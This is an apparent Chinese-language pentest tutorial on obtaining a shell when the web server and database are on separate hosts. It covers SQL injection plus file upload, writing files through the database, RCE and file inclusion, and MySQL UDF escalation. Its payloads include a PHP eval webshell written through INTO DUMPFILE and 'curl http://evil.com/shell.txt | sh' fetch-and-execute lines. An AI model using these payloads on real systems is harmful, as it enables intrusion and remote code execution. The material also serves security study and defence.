### 站库分离怎么拿 Shell

**1. SQL 注入结合文件上传或文件写入漏洞**

即使无法直接写入 `webshell`，SQL 注入仍然可以用于读取或修改数据库中的数据。如果应用程序存在**文件上传漏洞**，攻击者可以利用 SQL 注入漏洞修改数据库中的某些配置，例如文件上传路径、文件后缀白名单等

**渗透思路：**

- 利用SQL注入读取网站的配置文件，获取文件上传路径
- 利用SQL注入修改数据库中的上传路径或白名单，使其允许上传恶意文件类型（如 `.php`）
- 结合文件上传漏洞，上传精心构造的 `webshell`

**2. 利用数据库的写权限进行命令执行**

在某些非严格配置的环境中，数据库用户可能拥有写入文件系统的权限。攻击者可以尝试通过数据库的 `LOAD_FILE()`、`SELECT ... INTO DUMPFILE` 等函数，将恶意代码写入到 Web 服务器的可写目录中

**渗透思路：**

- **读取配置文件**: 利用 SQL 注入读取 Web 服务器上的 `phpinfo` 或网站配置文件，寻找可写的目录路径
- **写入`webshell`**: 尝试使用`SELECT '<?php @eval($_POST[cmd]);?>' INTO DUMPFILE '/var/www/html/upload/shell.php'` 将 `webshell` 代码写入到Web服务器的 `upload` 目录
- **注意**: 这种方法需要数据库用户具有 `file_priv` 权限，并且数据库的`secure_file_priv`参数没有限制。在站库分离架构下，这种配置是**不推荐**的，但仍有可能存在

**3. 利用 Web 服务器自身的漏洞**

这是最直接有效的方法。在站库分离架构中，数据库服务器通常难以直接入侵，但 Web 服务器本身可能存在**远程命令执行（RCE）**或**文件包含（LFI/RFI）**等高危漏洞

**渗透思路：**

- **远程命令执行（RCE）**: 如果 Web 服务器存在 RCE 漏洞，攻击者可以直接执行系统命令，例如`curl http://evil.com/shell.txt | sh`，下载并执行恶意脚本，从而获取反弹`shell`或写入`webshell`
- **文件包含（LFI/RFI）**: 利用 LFI/RFI 漏洞，可以读取敏感文件或包含远程服务器上的恶意文件。例如，攻击者可以利用 `file_get_contents('http://evil.com/shell.txt')` 将远程 `webshell` 文件包含到 Web 服务器，从而执行恶意代码

**4. 通过数据库的 UDF 函数提权**

如果攻击者在数据库上拥有足够高的权限（例如`root`），并且数据库服务器允许动态加载库文件，他们可以上传自定义的**UDF（用户自定义函数）**库文件，并在数据库服务器上执行系统命令

**渗透思路：**

- **SQL注入提权**: 利用 SQL 注入获取数据库 `root` 权限
- **上传UDF文件**: 通过 `load_file()` 或 `into dumpfile` 等方法，将恶意 UDF 库文件（例如`lib_mysqludf_sys.so`）上传到数据库服务器的插件目录
- **创建自定义函数**: 在数据库中创建新的函数，例如 `sys_eval()`，该函数能够执行系统命令
- **执行命令**: 调用 `sys_eval()` 函数，执行系统命令，例如 `select sys_eval('curl http://evil.com/shell.txt | sh')`
- **注意**: 这种方法主要用于在数据库服务器上获取 `shell`，而不是在 Web 服务器上。但如果数据库服务器配置不当，可能通过 UDF 执行的命令来反向攻击 Web 服务器